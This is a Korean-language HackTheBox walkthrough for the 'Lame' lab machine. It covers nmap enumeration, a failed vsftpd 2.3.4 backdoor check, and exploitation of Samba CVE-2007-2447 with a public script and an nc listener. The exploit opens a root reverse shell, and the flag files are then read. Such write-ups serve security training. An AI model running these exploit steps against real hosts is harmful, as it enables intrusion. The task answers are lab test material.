HackTheBox Labs Writeup - Lame

HackTheBox Labs Writeup - Lame

이 글에서는 HackTheBox 의 머신 중 하나인 Lame 머신에 대한 풀이 방법에 대해 설명한다.

Task 1

Question : How many of the `nmap` top 1000 TCP ports are open on the remote host?
$ sudo nmap -sT --top-ports 1000 -oG - 10.10.10.3 
# Nmap 7.93 scan initiated Sun Sep  1 09:43:44 2024 as: nmap -sT --top-ports 1000 -oG - 10.10.10.3
Host: 10.10.10.3 ()     Status: Up
Host: 10.10.10.3 ()     Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///        Ignored State: filtered (996)
# Nmap done at Sun Sep  1 09:43:56 2024 -- 1 IP address (1 host up) scanned in 12.19 seconds

탑 1000 포트 중 21, 22, 139, 445 번 포트가 열려있다.

Answer : 4

Task 2

Question : What version of VSFTPd is running on Lame?

nmap 으로 전체 포트에 대해 스캐닝하여 최대한 많은 정보를 출력해보자.

$ sudo nmap -p- -sV -sC -Pn 10.10.10.3                                           
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-01 09:29 EDT
Nmap scan report for 10.10.10.3
Host is up (0.22s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m20s, deviation: 2h49m43s, median: 19s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2024-09-01T09:33:31-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 249.64 seconds

vsftpd 버전이 2.3.4인 것을 알 수 있다.

Answer : 2.3.4

Task 3

Question : There is a famous backdoor in VSFTPd version 2.3.4, and a Metasploit module to exploit it. Does that exploit work here?

nmap 에서는 2.3.4 버전의 vsftpd 를 exploit 할 수 있는 스크립트를 제공한다. 이걸 이용해보자.

$ sudo nmap --script ftp-vsftpd-backdoor -p 21 10.10.10.3   
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-01 09:54 EDT
Nmap scan report for 10.10.10.3
Host is up (0.22s latency).

PORT   STATE SERVICE
21/tcp open  ftp

Nmap done: 1 IP address (1 host up) scanned in 22.26 seconds

안타깝게도 별다른 반응이 없다.

Answer : no

Task 4

Question : What version of Samba is running on Lame? Give the numbers up to but not including "-Debian".

Task 2 에서 445번 포트에 바인딩된 smb 버전이 smbd 3.0.20-Debian인 것을 확인했었다.

Answer : 3.0.20

Task 5

Question : What 2007 CVE allows for remote code execution in this version of Samba via shell metacharacters involving the `SamrChangePassword` function when the "username map script" option is enabled in `smb.conf`?

구글에서 "2007 CVE samba" 를 검색해보면 관련된 CVE 문서exploit 스크립트를 찾을 수 있다.

Answer : CVE-2007-2447

Task 6

Question : Exploiting CVE-2007-2447 returns a shell as which user?

exploit 스크립트를 실행하여 리버스셸을 생성해보자. 스크립트 실행에 앞서 먼저 nc 명령어로 9999번 포트에 리스닝 포트를 열었다.

$ nc -lnvp 9999 

이후 스크립트를 다운로드, 실행한다. {RHOST} 에는 공격 대상 서버의 IP, {LHOST} 에는 로컬 머신의 IP, {LPORT}는 리스닝 번호를 입력한다.

# python, pysmb 모듈 설치
$ sudo apt install python python-pip
$ pip install --user pysmb

# 스크립트 다운로드
$ git clone https://github.com/amriunix/CVE-2007-2447

# 스크립트 실행
$ cd CVE-2007-2447 
$ python3 usermap_script.py {RHOST} 445 {LHOST} {LPORT}

스크립트 실행에 성공하면 리스닝 포트에 리버스셸이 수립되는 것을 확인할 수 있다. id 명령어로 현재 유저가 root 인 것을 알 수 있다.

listening on [any] 9999 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.3] 52627
id
uid=0(root) gid=0(root)
Answer : root

User Flag

앞서 획득한 권한이 root 이니, 일반 사용자 Flag 와 Root Flag 를 모두 얻을 수 있다.
ls /home 명령어를 실행하면 makis 란 사용자가 존재함을 확인할 수 있다.

$ ls /home
ftp
makis
service
user

/home/makis/user.txt 파일 내용을 출력하면 User Flag 를 얻을 수 있다.

$ cat /home/makis/user.txt

Root Flag

Root Flag 는 /root/root.txt 파일에 존재한다.

$ ls /root/ 
Desktop
reset_logs.sh
root.txt
vnc.log
$ cat /root/root.txt